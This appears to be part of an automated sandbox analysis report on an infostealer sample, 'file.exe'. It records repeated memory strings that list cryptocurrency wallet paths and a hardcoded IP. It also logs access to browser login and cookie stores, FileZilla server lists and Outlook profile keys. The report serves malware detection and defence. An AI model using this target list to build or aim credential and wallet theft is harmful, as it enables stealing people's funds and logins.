Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2772886640.0000000000D94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2772886640.0000000000D94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
